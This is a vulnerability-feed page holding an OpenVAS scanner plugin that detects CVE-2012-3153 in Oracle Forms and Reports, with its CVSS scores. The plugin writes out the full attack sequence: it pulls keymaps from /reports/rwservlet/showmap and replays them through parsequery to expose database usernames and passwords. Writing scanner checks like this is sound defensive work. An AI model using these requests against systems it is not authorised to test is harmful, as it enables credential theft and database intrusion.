Lucene search

K
openvasCopyright (C) 2014 Greenbone AGOPENVAS:1361412562310103974
HistoryFeb 03, 2014 - 12:00 a.m.

Oracle Forms and Reports Database Vulnerability

2014-02-0300:00:00
Copyright (C) 2014 Greenbone AG
plugins.openvas.org
151

6.4 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:P/A:N

6.2 Medium

AI Score

Confidence

Low

0.96 High

EPSS

Percentile

99.5%

Oracle Forms and Reports Database Vulnerability

# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103974");
  script_cve_id("CVE-2012-3153");
  script_tag(name:"cvss_base", value:"6.4");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:N");
  script_version("2023-07-26T05:05:09+0000");

  script_name("Oracle Forms and Reports Database Vulnerability");

  script_xref(name:"URL", value:"http://exploitsdownload.com/exploit/na/oracle-forms-and-reports-database-disclosure");
  script_xref(name:"URL", value:"http://www.oracle.com/technetwork/topics/security/cpuoct2012-1515893.html");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/55955");

  script_tag(name:"last_modification", value:"2023-07-26 05:05:09 +0000 (Wed, 26 Jul 2023)");
  script_tag(name:"creation_date", value:"2014-02-03 23:08:02 +0700 (Mon, 03 Feb 2014)");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2014 Greenbone AG");
  script_dependencies("find_service.nasl", "httpver.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"summary", value:"Oracle Forms and Reports Database Vulnerability");
  script_tag(name:"vuldetect", value:"Tries to dump at least one username and password of the database.");
  script_tag(name:"solution", value:"Apply the patch from Oracle or upgrade to version 12 or higher.");
  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"insight", value:"An undocumented function of the PARSEQUERY function allows
  to take keymaps that are located in /reports/rwservlet/ and add them
  to the query which will allow to dump the database passwords.");
  script_tag(name:"affected", value:"Oracle Fusion Middleware 11.1.1.4, 11.1.1.6, and 11.1.2.0");
  script_tag(name:"impact", value:"Unauthenticated remote attackers can dump usernames and
  passwords of the database.");

  script_tag(name:"qod_type", value:"remote_app");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");

port = http_get_port(default:80);

useragent = http_get_user_agent();
host = http_host_name(port:port);

req = 'GET /reports/rwservlet/showmap HTTP/1.1\r\n' +
      'Host: ' + host + '\r\n' +
      'User-Agent: ' + useragent + '\r\n\r\n';
res = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);
if (!res) {
  exit(0);
}

tmp = egrep(string:res, pattern:"<SPAN class=OraInstructionText>(\S+).*</SPAN>");
if (!tmp) {
  exit(0);
}

tmp = ereg_replace(string:tmp, pattern:"<SPAN class=OraInstructionText>", replace:"");
tmp = ereg_replace(string:tmp, pattern:"</SPAN></TD>", replace:"");
tmp = str_replace(string:tmp, find:" ", replace:"");
keymaps = split(tmp, keep:0);

# Parse the keymaps for servers and authentication IDs
foreach keymap (keymaps) {
  req = 'GET /reports/rwservlet/parsequery?' + keymap + ' HTTP/1.1\r\n' +
        'Host: ' + host + '\r\n' +
        'User-Agent: ' + useragent + '\r\n\r\n';
  res = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);
  if (userid = eregmatch(string:res, pattern:"userid=(.*)@")) {
    security_message(port:port);
    exit(0);
  }
}

exit(99);

6.4 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:P/A:N

6.2 Medium

AI Score

Confidence

Low

0.96 High

EPSS

Percentile

99.5%